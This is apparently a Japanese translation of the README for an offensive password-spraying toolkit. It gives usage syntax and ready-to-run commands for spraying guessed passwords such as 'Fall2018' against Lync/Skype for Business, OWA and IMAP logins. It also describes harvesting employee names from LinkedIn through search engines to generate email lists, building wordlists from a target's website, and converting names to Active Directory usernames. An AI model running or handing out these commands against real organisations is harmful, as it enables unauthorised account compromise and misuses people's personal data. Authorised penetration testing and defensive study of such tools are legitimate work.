
Lync/S4B、OWA、O365に対するパスワードスプレー攻撃を、より迅速かつ手間のかからない、より効率的なものにするためのスクリプト群
このプロジェクトはメンテナンスされていません。以下の代替プロジェクトの方が優れており、積極的にメンテナンスされています:
Lync/S4B および OWA に対するパスワードスプレー攻撃をより迅速に、より苦痛なく、より効率的にしようと試みる Python スクリプト/ユーティリティのセットです。
Discord でぜひ交流しましょう!
以下のように pip3 を使用して前提条件をインストールします:
sudo -H pip3 install -r requirements.txt
パッケージをグローバルにインストールしたくない場合は、Python 仮想環境を使用してください。
Lync/Skype for Business および OWA 向けの超高速パスワードスプレーアプリケーションで、Asyncio と Python 3.7 上に構築されています。
Usage:
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --recon [--debug]
atomizer -h | --help
atomizer -v | --version
Arguments:
target target domain or url
password password to spray
userfile file containing usernames (one per line)
passwordfile file containing passwords (one per line)
Options:
-h, --help show this screen
-v, --version show version
-c, --csvfile CSVFILE csv file containing usernames and passwords
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
-t, --threads THREADS number of concurrent threads to use [default: 3]
-d, --debug enable debug output
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
--recon only collect info, don't password spray
--gchat URL gchat webhook url for notification
--slack URL slack webhook url for notification
--user-row-name NAME username row title in CSV file [default: Email Address]
--pass-row-name NAME password row title in CSV file [default: Password]
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
./atomizer.py owa contoso.com 'Fall2018' emails.txt
./atomizer.py lync contoso.com 'Fall2018' emails.txt
./atomizer lync contoso.com --csvfile accounts.csv
./atomizer lync contoso.com --user-as-pass usernames.txt
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
./atomizer.py owa contoso.com passwords.txt emails.txt -i 0:45:00 --gchat <GCHAT_WEBHOOK_URL>
@OrOneEqualsOne の GatherContacts Burp 拡張機能を、いくつかの改良を加えて mitmproxy に移植したものです。
Google と Bing から LinkedIn プロフィールをスクレイピングし、指定されたパターンを使用してプロフィール名からメールアドレスを自動生成し、リアルタイムでパスワードスプレーを実行します。
(Atomizer を基に構築されています)
mitmdump -s vaporizer.py --set sprayer=(lync|owa) --set domain=domain.com --set target=<domain or url to spray> --set password=password --set email_format='{f}.{last}'
デフォルトでは、email_format は {first}.{last} パターンに設定されており、必須の引数ではありません。
domain パラメータは名前からメールアドレスを生成するために使用するドメインで、target パラメータはパスワードスプレーを行うドメインまたは URL です。
mitmproxy 証明書をインストールし、ブラウザでプロキシを設定して、Google や Bing で検索してください(必ず /in を含めてください):
site:linkedin.com/in "Target Company Name"
メールアドレスは指定された形式で emails.txt に出力され、スプレー用に Atomizer に渡されます。
対象の Web サイトからすべてのテキストをスクレイピングし、AWS Comprehend に送信して分析し、パスワードスプレー用のカスタムワードリストを生成します。
まだ開発中です
mitmdump -s aerosol.py --set domain=domain.com
名前を Active Directory のユーザー名に変換します(例: Alice Eve => CONTOSO\aeve)
Usage:
spindrift [<file>] [--target TARGET | --domain DOMAIN] [--format FORMAT]
Arguments:
file file containing names, can also read from stdin
Options:
--target TARGET optional domain or url to retrieve the internal domain name from OWA
--domain DOMAIN manually specify the domain to append to each username
--format FORMAT username format [default: {f}{last}]
STDIN から名前を読み取ります。--domain を使用してドメインを手動で指定します:
cat names.txt | ./spindrift.py --domain CONTOSO
names.txt から名前を読み取ります。--target は OWA から内部ドメイン名を動的に取得します(ドメインまたは URL を指定できます)
./spindrift.py names.txt --target contoso.com